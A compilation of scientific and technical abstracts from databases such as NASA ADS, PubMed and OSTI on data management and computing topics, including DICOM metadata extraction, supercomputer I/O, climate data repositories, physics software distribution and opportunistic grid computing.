NASA Astrophysics Data System (ADS)

Papamichail, D.; Ploussi, A.; Kordolaimi, S.; Karavasilis, E.; Papadimitroulas, P.; Syrgiamiotis, V.; Efstathopoulos, E.

2015-09-01

Patient-specific dosimetry calculations based on simulation techniques have as a prerequisite the modeling of the modality system and the creation of voxelized phantoms. This procedure requires the knowledge of scanning parameters and patients’ information included in a DICOM file as well as image segmentation. However, the extraction of this information is complicated and time-consuming. The objective of this study was to develop a simple graphical user interface (GUI) to (i) automatically extract metadata from every slice image of a DICOM file in a single query and (ii) interactively specify the regions of interest (ROI) without explicit access to the radiology information system. The user-friendly application developed in Matlab environment. The user can select a series of DICOM files and manage their text and graphical data. The metadata are automatically formatted and presented to the user as a Microsoft Excel file. The volumetric maps are formed by interactively specifying the ROIs and by assigning a specific value in every ROI. The result is stored in DICOM format, for data and trend analysis. The developed GUI is easy, fast and and constitutes a very useful tool for individualized dosimetry. One of the future goals is to incorporate a remote access to a PACS server functionality.

Web-based healthcare hand drawing management system.

PubMed

Hsieh, Sheau-Ling; Weng, Yung-Ching; Chen, Chi-Huang; Hsu, Kai-Ping; Lin, Jeng-Wei; Lai, Feipei

2010-01-01

The paper addresses Medical Hand Drawing Management System architecture and implementation. In the system, we developed four modules: hand drawing management module; patient medical records query module; hand drawing editing and upload module; hand drawing query module. The system adapts windows-based applications and encompasses web pages by ASP.NET hosting mechanism under web services platforms. The hand drawings implemented as files are stored in a FTP server. The file names with associated data, e.g. patient identification, drawing physician, access rights, etc. are reposited in a database. The modules can be conveniently embedded, integrated into any system. Therefore, the system possesses the hand drawing features to support daily medical operations, effectively improve healthcare qualities as well. Moreover, the system includes the printing capability to achieve a complete, computerized medical document process. In summary, the system allows web-based applications to facilitate the graphic processes for healthcare operations.

Fast Ordered Sampling of DNA Sequence Variants.

PubMed

Greenberg, Anthony J

2018-05-04

Explosive growth in the amount of genomic data is matched by increasing power of consumer-grade computers. Even applications that require powerful servers can be quickly tested on desktop or laptop machines if we can generate representative samples from large data sets. I describe a fast and memory-efficient implementation of an on-line sampling method developed for tape drives 30 years ago. Focusing on genotype files, I test the performance of this technique on modern solid-state and spinning hard drives, and show that it performs well compared to a simple sampling scheme. I illustrate its utility by developing a method to quickly estimate genome-wide patterns of linkage disequilibrium (LD) decay with distance. I provide open-source software that samples loci from several variant format files, a separate program that performs LD decay estimates, and a C++ library that lets developers incorporate these methods into their own projects. Copyright © 2018 Greenberg.

Characterizing output bottlenecks in a supercomputer

DOE Office of Scientific and Technical Information (OSTI.GOV)

Xie, Bing; Chase, Jeffrey; Dillow, David A

2012-01-01

Supercomputer I/O loads are often dominated by writes. HPC (High Performance Computing) file systems are designed to absorb these bursty outputs at high bandwidth through massive parallelism. However, the delivered write bandwidth often falls well below the peak. This paper characterizes the data absorption behavior of a center-wide shared Lustre parallel file system on the Jaguar supercomputer. We use a statistical methodology to address the challenges of accurately measuring a shared machine under production load and to obtain the distribution of bandwidth across samples of compute nodes, storage targets, and time intervals. We observe and quantify limitations from competing traffic,more » contention on storage servers and I/O routers, concurrency limitations in the client compute node operating systems, and the impact of variance (stragglers) on coupled output such as striping. We then examine the implications of our results for application performance and the design of I/O middleware systems on shared supercomputers.« less

PDB@: an offline toolkit for exploration and analysis of PDB files.

PubMed

Mani, Udayakumar; Ravisankar, Sadhana; Ramakrishnan, Sai Mukund

2013-12-01

Protein Data Bank (PDB) is a freely accessible archive of the 3-D structural data of biological molecules. Structure based studies offers a unique vantage point in inferring the properties of a protein molecule from structural data. This is too big a task to be done manually. Moreover, there is no single tool, software or server that comprehensively analyses all structure-based properties. The objective of the present work is to develop an offline computational toolkit, PDB@ containing in-built algorithms that help categorizing the structural properties of a protein molecule. The user has the facility to view and edit the PDB file to his need. Some features of the present work are unique in itself and others are an improvement over existing tools. Also, the representation of protein properties in both graphical and textual formats helps in predicting all the necessary details of a protein molecule on a single platform.

Software Management for the NOνAExperiment

NASA Astrophysics Data System (ADS)

Davies, G. S.; Davies, J. P.; C Group; Rebel, B.; Sachdev, K.; Zirnstein, J.

2015-12-01

The NOvAsoftware (NOνASoft) is written in C++, and built on the Fermilab Computing Division's art framework that uses ROOT analysis software. NOνASoftmakes use of more than 50 external software packages, is developed by more than 50 developers and is used by more than 100 physicists from over 30 universities and laboratories in 3 continents. The software builds are handled by Fermilab's custom version of Software Release Tools (SRT), a UNIX based software management system for large, collaborative projects that is used by several experiments at Fermilab. The system provides software version control with SVN configured in a client-server mode and is based on the code originally developed by the BaBar collaboration. In this paper, we present efforts towards distributing the NOvA software via the CernVM File System distributed file system. We will also describe our recent work to use a CMake build system and Jenkins, the open source continuous integration system, for NOνASoft.

Climatic Data Integration and Analysis - Regional Approaches to Climate Change for Pacific Northwest Agriculture (REACCH PNA)

NASA Astrophysics Data System (ADS)

Seamon, E.; Gessler, P. E.; Flathers, E.; Sheneman, L.; Gollberg, G.

2013-12-01

The Regional Approaches to Climate Change for Pacific Northwest Agriculture (REACCH PNA) is a five-year USDA/NIFA-funded coordinated agriculture project to examine the sustainability of cereal crop production systems in the Pacific Northwest, in relationship to ongoing climate change. As part of this effort, an extensive data management system has been developed to enable researchers, students, and the public, to upload, manage, and analyze various data. The REACCH PNA data management team has developed three core systems to encompass cyberinfrastructure and data management needs: 1) the reacchpna.org portal (https://www.reacchpna.org) is the entry point for all public and secure information, with secure access by REACCH PNA members for data analysis, uploading, and informational review; 2) the REACCH PNA Data Repository is a replicated, redundant database server environment that allows for file and database storage and access to all core data; and 3) the REACCH PNA Libraries which are functional groupings of data for REACCH PNA members and the public, based on their access level. These libraries are accessible thru our https://www.reacchpna.org portal. The developed system is structured in a virtual server environment (data, applications, web) that includes a geospatial database/geospatial web server for web mapping services (ArcGIS Server), use of ESRI's Geoportal Server for data discovery and metadata management (under the ISO 19115-2 standard), Thematic Realtime Environmental Distributed Data Services (THREDDS) for data cataloging, and Interactive Python notebook server (IPython) technology for data analysis. REACCH systems are housed and maintained by the Northwest Knowledge Network project (www.northwestknowledge.net), which provides data management services to support research. Initial project data harvesting and meta-tagging efforts have resulted in the interrogation and loading of over 10 terabytes of climate model output, regional entomological data, agricultural and atmospheric information, as well as imagery, publications, videos, and other soft content. In addition, the outlined data management approach has focused on the integration and interconnection of hard data (raw data output) with associated publications, presentations, or other narrative documentation - through metadata lineage associations. This harvest-and-consume data management methodology could additionally be applied to other research team environments that involve large and divergent data.

The software analysis project for the Office of Human Resources

NASA Technical Reports Server (NTRS)

Tureman, Robert L., Jr.

1994-01-01

There were two major sections of the project for the Office of Human Resources (OHR). The first section was to conduct a planning study to analyze software use with the goal of recommending software purchases and determining whether the need exists for a file server. The second section was analysis and distribution planning for retirement planning computer program entitled VISION provided by NASA Headquarters. The software planning study was developed to help OHR analyze the current administrative desktop computing environment and make decisions regarding software acquisition and implementation. There were three major areas addressed by the study: current environment new software requirements, and strategies regarding the implementation of a server in the Office. To gather data on current environment, employees were surveyed and an inventory of computers were produced. The surveys were compiled and analyzed by the ASEE fellow with interpretation help by OHR staff. New software requirements represented a compilation and analysis of the surveyed requests of OHR personnel. Finally, the information on the use of a server represents research done by the ASEE fellow and analysis of survey data to determine software requirements for a server. This included selection of a methodology to estimate the number of copies of each software program required given current use and estimated growth. The report presents the results of the computing survey, a description of the current computing environment, recommenations for changes in the computing environment, current software needs, management advantages of using a server, and management considerations in the implementation of a server. In addition, detailed specifications were presented for the hardware and software recommendations to offer a complete picture to OHR management. The retirement planning computer program available to NASA employees will aid in long-range retirement planning. The intended audience is the NASA civil service employee with several years until retirement. The employee enters current salary and savings information as well as goals concerning salary at retirement, assumptions on inflation, and the return on investments. The program produces a picture of the employee's retirement income from all sources based on the assumptions entered. A session showing features of the program was conducted for key personnel at the Center. After analysis, it was decided to offer the program through the Learning Center starting in August 1994.

Wearable wireless sensor platform for studying autonomic activity and social behavior in non-human primates.

PubMed

Fletcher, Richard Ribón; Amemori, Ken-ichi; Goodwin, Matthew; Graybiel, Ann M

2012-01-01

A portable system has been designed to enable remote monitoring of autonomic nervous system output in non-human primates for the purpose of studying neural function related to social behavior over extended periods of time in an ambulatory setting. In contrast to prior systems which only measure heart activity, are restricted to a constrained laboratory setting, or require surgical attachment, our system is comprised of a multi-sensor self-contained wearable vest that can easily be transferred from one subject to another. The vest contains a small detachable low-power electronic sensor module for measuring electrodermal activity (EDA), electrocardiography (ECG), 3-axis acceleration, and temperature. The wireless transmission is implemented using a standard Bluetooth protocol and a mobile phone, which enables freedom of movement for the researcher as well as for the test subject. A custom Android software application was created on the mobile phone for viewing and recording live data as well as creating annotations. Data from up to seven monkeys can be recorded simultaneously using the mobile phone, with the option of real-time upload to a remote web server. Sample data are presented from two rhesus macaque monkeys showing stimulus-induced response in the laboratory as well as long-term ambulatory data collected in a large monkey cage. This system enables new possibilities for studying underlying mechanisms between autonomic brain function and social behavior with connection to human research in areas such as autism, substance abuse, and mood disorders.

An algorithm of a real time image tracking system using a camera with pan/tilt motors on an embedded system

NASA Astrophysics Data System (ADS)

Kim, Hie-Sik; Nam, Chul; Ha, Kwan-Yong; Ayurzana, Odgeral; Kwon, Jong-Won

2005-12-01

The embedded systems have been applied to many fields, including households and industrial sites. The user interface technology with simple display on the screen was implemented more and more. The user demands are increasing and the system has more various applicable fields due to a high penetration rate of the Internet. Therefore, the demand for embedded system is tend to rise. An embedded system for image tracking was implemented. This system is used a fixed IP for the reliable server operation on TCP/IP networks. Using an USB camera on the embedded Linux system developed a real time broadcasting of video image on the Internet. The digital camera is connected at the USB host port of the embedded board. All input images from the video camera are continuously stored as a compressed JPEG file in a directory at the Linux web-server. And each frame image data from web camera is compared for measurement of displacement Vector. That used Block matching algorithm and edge detection algorithm for past speed. And the displacement vector is used at pan/tilt motor control through RS232 serial cable. The embedded board utilized the S3C2410 MPU, which used the ARM 920T core form Samsung. The operating system was ported to embedded Linux kernel and mounted of root file system. And the stored images are sent to the client PC through the web browser. It used the network function of Linux and it developed a program with protocol of the TCP/IP.

Emerging Cyber Infrastructure for NASA's Large-Scale Climate Data Analytics

NASA Astrophysics Data System (ADS)

Duffy, D.; Spear, C.; Bowen, M. K.; Thompson, J. H.; Hu, F.; Yang, C. P.; Pierce, D.

2016-12-01

The resolution of NASA climate and weather simulations have grown dramatically over the past few years with the highest-fidelity models reaching down to 1.5 KM global resolutions. With each doubling of the resolution, the resulting data sets grow by a factor of eight in size. As the climate and weather models push the envelope even further, a new infrastructure to store data and provide large-scale data analytics is necessary. The NASA Center for Climate Simulation (NCCS) has deployed the Data Analytics Storage Service (DASS) that combines scalable storage with the ability to perform in-situ analytics. Within this system, large, commonly used data sets are stored in a POSIX file system (write once/read many); examples of data stored include Landsat, MERRA2, observing system simulation experiments, and high-resolution downscaled reanalysis. The total size of this repository is on the order of 15 petabytes of storage. In addition to the POSIX file system, the NCCS has deployed file system connectors to enable emerging analytics built on top of the Hadoop File System (HDFS) to run on the same storage servers within the DASS. Coupled with a custom spatiotemporal indexing approach, users can now run emerging analytical operations built on MapReduce and Spark on the same data files stored within the POSIX file system without having to make additional copies. This presentation will discuss the architecture of this system and present benchmark performance measurements from traditional TeraSort and Wordcount to large-scale climate analytical operations on NetCDF data.

The GEON Integrated Data Viewer (IDV) for Exploration of Geoscience Data With Visualizations

NASA Astrophysics Data System (ADS)

Wier, S.; Meertens, C.

2008-12-01

The GEON Integrated Data Viewer (GEON IDV) is a fully interactive, research-level, true 3D and 4D (latitude, longitude, depth or altitude, and time) tool to display and explore almost any data located on the Earth, inside the Earth, or above the Earth's surface. Although the GEON IDV makes impressive 3D displays, it is primarily designed for data exploration and analysis. The GEON IDV is designed to meet the challenge of investigating complex, multi-variate, time-varying, three- dimensional geoscience questions anywhere on earth. The GEON IDV supports simultaneous displays of data sets of differing sources and data type or character, with complete control over map projection and area, time animation, vertical scale, and color schemes. The GEON IDV displays gridded and point data, images, GIS shape files, and other types of data, from files, HTTP servers, OPeNDAP catalogs, RSS feeds, and web map servers. GEON IDV displays include images and geology maps on 3D topographic relief surfaces, vertical geologic cross sections in their correct depth extent, tectonic plate boundaries and plate motion vectors including time animation, GPS velocity vectors and error ellipses, GPS time series at a station, earthquake locations in depth optionally colored and sized by magnitude, earthquake focal mechanisms 'beachballs,' 2D grids of gravity or magnetic anomalies, 2D grids of crustal strain imagery, seismic raypaths, seismic tomography model 3D grids as vertical and horizontal cross sections and isosurfaces, 3D grids of crust and mantle structure for any property, and time animation of 3D grids of mantle convection models as cross sections and isosurfaces. The IDV can also show tracks of aircraft, ships, drifting buoys and marine animals, colored observed values, borehole soundings, and vertical probes of 3D grids. The GEON IDV can drive a GeoWall or other 3D stereo system. IDV output files include imagery, movies, and KML files for Google Earth. The IDV has built in analysis capabilities with user-created Python language routines, and with automatic conversion of data sources with differing units and grid structures. The IDV can be scripted to create display images on user request or automatically on data arrival, offering the use of the IDV as a back end to support image generation in a data portal. Examples of GEON IDV use in seismology, geodesy, geodynamics and other fields will be shown.

Network Configuration Analysis for Formation Flying Satellites

NASA Technical Reports Server (NTRS)

Knoblock, Eric J.; Wallett, Thomas M.; Konangi, Vijay K.; Bhasin, Kul B.

2001-01-01

The performance of two networks to support autonomous multi-spacecraft formation flying systems is presented. Both systems are comprised of a ten-satellite formation, with one of the satellites designated as the central or 'mother ship.' All data is routed through the mother ship to the terrestrial network. The first system uses a TCP/EP over ATM protocol architecture within the formation, and the second system uses the IEEE 802.11 protocol architecture within the formation. The simulations consist of file transfers using either the File Transfer Protocol (FTP) or the Simple Automatic File Exchange (SAFE) Protocol. The results compare the IP queuing delay, IP queue size and IP processing delay at the mother ship as well as end-to-end delay for both systems. In all cases, using IEEE 802.11 within the formation yields less delay. Also, the throughput exhibited by SAFE is better than FTP.

LCG MCDB—a knowledgebase of Monte-Carlo simulated events

NASA Astrophysics Data System (ADS)

Belov, S.; Dudko, L.; Galkin, E.; Gusev, A.; Pokorski, W.; Sherstnev, A.

2008-02-01

In this paper we report on LCG Monte-Carlo Data Base (MCDB) and software which has been developed to operate MCDB. The main purpose of the LCG MCDB project is to provide a storage and documentation system for sophisticated event samples simulated for the LHC Collaborations by experts. In many cases, the modern Monte-Carlo simulation of physical processes requires expert knowledge in Monte-Carlo generators or significant amount of CPU time to produce the events. MCDB is a knowledgebase mainly dedicated to accumulate simulated events of this type. The main motivation behind LCG MCDB is to make the sophisticated MC event samples available for various physical groups. All the data from MCDB is accessible in several convenient ways. LCG MCDB is being developed within the CERN LCG Application Area Simulation project. Program summaryProgram title: LCG Monte-Carlo Data Base Catalogue identifier: ADZX_v1_0 Program summary URL:http://cpc.cs.qub.ac.uk/summaries/ADZX_v1_0.html Program obtainable from: CPC Program Library, Queen's University, Belfast, N. Ireland Licensing provisions: GNU General Public Licence No. of lines in distributed program, including test data, etc.: 30 129 No. of bytes in distributed program, including test data, etc.: 216 943 Distribution format: tar.gz Programming language: Perl Computer: CPU: Intel Pentium 4, RAM: 1 Gb, HDD: 100 Gb Operating system: Scientific Linux CERN 3/4 RAM: 1 073 741 824 bytes (1 Gb) Classification: 9 External routines:perl >= 5.8.5; Perl modules DBD-mysql >= 2.9004, File::Basename, GD::SecurityImage, GD::SecurityImage::AC, Linux::Statistics, XML::LibXML > 1.6, XML::SAX, XML::NamespaceSupport; Apache HTTP Server >= 2.0.59; mod auth external >= 2.2.9; edg-utils-system RPM package; gd >= 2.0.28; rpm package CASTOR-client >= 2.1.2-4; arc-server (optional) Nature of problem: Often, different groups of experimentalists prepare similar samples of particle collision events or turn to the same group of authors of Monte-Carlo (MC) generators to prepare the events. For example, the same MC samples of Standard Model (SM) processes can be employed for the investigations either in the SM analyses (as a signal) or in searches for new phenomena in Beyond Standard Model analyses (as a background). If the samples are made available publicly and equipped with corresponding and comprehensive documentation, it can speed up cross checks of the samples themselves and physical models applied. Some event samples require a lot of computing resources for preparation. So, a central storage of the samples prevents possible waste of researcher time and computing resources, which can be used to prepare the same events many times. Solution method: Creation of a special knowledgebase (MCDB) designed to keep event samples for the LHC experimental and phenomenological community. The knowledgebase is realized as a separate web-server ( http://mcdb.cern.ch). All event samples are kept on types at CERN. Documentation describing the events is the main contents of MCDB. Users can browse the knowledgebase, read and comment articles (documentation), and download event samples. Authors can upload new event samples, create new articles, and edit own articles. Restrictions: The software is adopted to solve the problems, described in the article and there are no any additional restrictions. Unusual features: The software provides a framework to store and document large files with flexible authentication and authorization system. Different external storages with large capacity can be used to keep the files. The WEB Content Management System provides all of the necessary interfaces for the authors of the files, end-users and administrators. Running time: Real time operations. References: [1] The main LCG MCDB server, http://mcdb.cern.ch/. [2] P. Bartalini, L. Dudko, A. Kryukov, I.V. Selyuzhenkov, A. Sherstnev, A. Vologdin, LCG Monte-Carlo data base, hep-ph/0404241. [3] J.P. Baud, B. Couturier, C. Curran, J.D. Durand, E. Knezo, S. Occhetti, O. Barring, CASTOR: status and evolution, cs.oh/0305047.

creation of unificed geoinformation system for monitoring social and economic developments of departamento quindio (colombia) on the basis of the isolated data sources

NASA Astrophysics Data System (ADS)

Buravlev, V.; Sereshnikov, S. V.; Mayorov, A. A.; Vila, J. J.

At each level of the state and municipal management the information resources which provide the support of acceptance of administrative decisions, usually are performed as a number of polytypic, untied among themselves electronic data sources, such as databases, geoinformation projects, electronic archives of documents, etc. These sources are located in the various organizations, they function in various programs, and are actualized according to various rules. Creation on the basis of such isolated sources of the uniform information systems which provide an opportunity to look through and analyze any information stored in these sources in real time mode, will help to promote an increase in a degree of adequacy of accepted administrative decisions. The Distributed Data Service technology - TrisoftDDS, developed by company Trisoft, Ltd, provides the construction of horizontal territorially distributed heterogeneous information systems (TeRGIS). Technology TrisoftDDS allows the quickly creation and support, easy modification of systems, the data sources for which are already existing information complexes, without any working capacity infringements of the last ones, and provides the remote regulated multi-user access to the different types of data sources by the Internet/Intranet. Relational databases, GIS projects, files of various types (documents MS Office, images, html documents, etc.) can be used as data sources in TeRGIS. TeRGIS is created as Internet/Intranet application representing three-level client-server system. Access to the information in existing data sources is carried out by means of the distributed DDS data service, the nucleus of which is the distributed data service server - the DSServer, settling down on an intermediate level. TrisoftDDS Technology includes the following components: Client DSBrowser (Data Service Browser) - the client application connected through the Internet/intranet to the DSServer and provides both - a choice and viewing of documents. Tables of databases, inquiries to databases, inquiries to geoinformation projects, files of various types (documents MS Office, images, html files, etc.) can act as documents. For work with complex data sources the DSBrowser gives an opportunity to create inquiries, to execute data view and filter. Server of the distributed data service - DSServer (Data Service Server) - the web-application that provides the access to the data sources and performance of the client's inquiries on granting of chosen documents. Tool means - Toolkit DDS: the Manager of catalogue - the DCMan (Data Catalog Manager) - - the client-server application intended for the organization and administration of the data catalogue. Documentator - the DSDoc (Data Source Documentor) - the client-server application intended for documenting the procedure of formation of the required document from the data source. The documentation, created by the DBDoc, represents the metadata tables, which are included in the data catalogue with the help of the catalogue manager - the DSCMan. The functioning logic of territorially distributed heterogeneous information system, based on DDS technology, is following: Client application - DSBrowser addresses to the DSServer on specified Internet address. In reply to the reference the DSServer sends the client the catalogue of the system's information resources. The catalogue represents the xml-document which is processed by the client's browser and is deduced as tree - structure in a special window. The user of the application looks through the list and chooses necessary documents, the DSBrowser sends corresponding inquiry to the DSServer. The DSServer, in its turn, addresses to the metadata tables, which describe the document, chosen by user, and broadcasts inquiry to the corresponding data source and after this returns to the client application the result of the inquiry. The catalogue of the data services contains the full Internet address of the document. This allows to create catalogues of the distributed information resources, separate parts of which (documents) can be located on different servers in various places of Internet. Catalogues, thus, can separately settle down at anyone Internet provider, which supports the necessary software. Lists of documents in the catalogue gather in the thematic blocks, allowing to organize user-friendly navigation down the information sources of the system. The TrisoftDDS technology perspectives, first of all, consist of the organization and the functionality of the distributed data service which process inquiries about granting of documents. The distributed data service allows to hide the complex and, in most cases, not necessary features of structure of complex data sources and ways of connection to them from the external user. Instead of this, user receives pseudonyms of connections and file directories, the real parameters of which are stored in the register of the web-server, which hosts the DSServer. Such scheme gives also wide opportunities of the data protection and differentiations of access rights to the information. The technology of creation of horizontal territory distributed geoinformation systems with the purpose of the territorial social and economic development level classification of Quindio Departamento (Columbia) is also given in this work. This technology includes the creation of thematic maps on the base of ESRI software products - Arcview and Erdas. It also shows and offer some ways of regional social and economic development conditions analysis for comparison of optimality of the decision. This technology includes the following parameters: dynamics of demographic processes; education; health and a feed; infrastructure; political and social stability; culture, social and family values; condition of an environment; political and civil institutes; profitableness of the population; unemployment, use of a labour; poverty and not equality. The methodology allows to include other parameters with the help of an expert estimations method and optimization theories and there is also a module for the forecast check by field checks on district.

Hierarchical Control of Semi-Autonomous Teams Under Uncertainty (HICST)

DTIC Science & Technology

2004-05-01

17 2.4 Module 4: Database . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 2.5... Database SoW 1 2 34 5 Txt file: paths Figure 3: Integration of modules 1-5. The modules make provision for human intervention, not indicated in the...figure. SoW is ‘state of the world’. 3. Task execution; 4. Database for state estimation; 5. Java interface to OEP; 6. Robust dynamic programming for

Distribute Off-Time Office Internet bandwidth Using Topology Mesh For Sorrounding Neighbour

NASA Astrophysics Data System (ADS)

Zendrato, Niskarto; Sihombing, Oloan; Laia, Yonata; Sabarita Barus, Ertina

2018-04-01

The Internet as one of the very rapidly growing information technology can provide data and information with wide world, complete, and up to date. Users can download and upload data such as the application file, multimedia and text through the Internet network. But for the Internet availability is still less equal access because of the lack of availability of adequate infrastructure, therefore the author make the utilization of bandwidth that can be establish Internet balancing although still on a small scale. By this research the authors use bandwidth from PT. Deltauli Home Teknikarya that where bandwidth necessity on when time off-time unused office, where the office always pay full for Internet connection even though at the time of the off-time. It’s many of the available bandwidth, so that the author is trying to take advantage of the bandwidth at the time of the off-time the office to be used by the community using radio connection link and use the radius server as user management and server to send sms and user and password to the users who want to enjoy free internet connection.

NASAwide electronic publishing system: Prototype STI electronic document distribution, stage-4 evaluation report

NASA Technical Reports Server (NTRS)

Tuey, Richard C.; Collins, Mary; Caswell, Pamela; Haynes, Bob; Nelson, Michael L.; Holm, Jeanne; Buquo, Lynn; Tingle, Annette; Cooper, Bill; Stiltner, Roy

1996-01-01

This evaluation report contains an introduction, seven chapters, and five appendices. The Introduction describes the purpose, conceptual frame work, functional description, and technical report server of the STI Electronic Document Distribution (EDD) project. Chapter 1 documents the results of the prototype STI EDD in actual operation. Chapter 2 documents each NASA center's post processing publication processes. Chapter 3 documents each center's STI software, hardware, and communications configurations. Chapter 7 documents STI EDD policy, practices, and procedures. The appendices, which arc contained in Part 2 of this document, consist of (1) STI EDD Project Plan, (2) Team members, (3) Phasing Schedules, (4) Accessing On-line Reports, and (5) Creating an HTML File and Setting Up an xTRS. In summary, Stage 4 of the NASAwide Electronic Publishing System is the final phase of its implementation through the prototyping and gradual integration of each NASA center's electronic printing systems, desktop publishing systems, and technical report servers to be able to provide to NASA's engineers, researchers, scientists, and external users the widest practicable and appropriate dissemination of information concerning its activities and the result thereof to their work stations.

Exploiting volatile opportunistic computing resources with Lobster

NASA Astrophysics Data System (ADS)

Woodard, Anna; Wolf, Matthias; Mueller, Charles; Tovar, Ben; Donnelly, Patrick; Hurtado Anampa, Kenyi; Brenner, Paul; Lannon, Kevin; Hildreth, Mike; Thain, Douglas

2015-12-01

Analysis of high energy physics experiments using the Compact Muon Solenoid (CMS) at the Large Hadron Collider (LHC) can be limited by availability of computing resources. As a joint effort involving computer scientists and CMS physicists at Notre Dame, we have developed an opportunistic workflow management tool, Lobster, to harvest available cycles from university campus computing pools. Lobster consists of a management server, file server, and worker processes which can be submitted to any available computing resource without requiring root access. Lobster makes use of the Work Queue system to perform task management, while the CMS specific software environment is provided via CVMFS and Parrot. Data is handled via Chirp and Hadoop for local data storage and XrootD for access to the CMS wide-area data federation. An extensive set of monitoring and diagnostic tools have been developed to facilitate system optimisation. We have tested Lobster using the 20 000-core cluster at Notre Dame, achieving approximately 8-10k tasks running simultaneously, sustaining approximately 9 Gbit/s of input data and 340 Mbit/s of output data.